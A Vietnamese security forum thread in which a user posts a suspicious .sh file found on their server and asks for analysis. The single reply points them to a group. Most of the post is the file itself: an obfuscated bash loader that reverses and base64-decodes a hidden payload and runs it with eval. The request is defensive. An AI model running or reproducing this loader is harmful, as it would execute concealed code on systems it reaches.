Các bác xem giúp em tệp tin này có vấn đề gì không với!

ngduong1410

W-------
08/07/2014
0
3 bài viết
Các bác xem giúp em tệp tin này có vấn đề gì không với!
Em vừa phát hiện trong server của em có 1 tệp tin lạ! Các bác phân tích giúp em với! Anh em cùng thảo luận nhé!
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Tệp tin (định dạng .sh)
Bash:
gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '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
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Chào bạn, bạn vui lòng đưa vấn đề của mình vào Group WhiteHat để nhận được hỗ trợ bạn nhé.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
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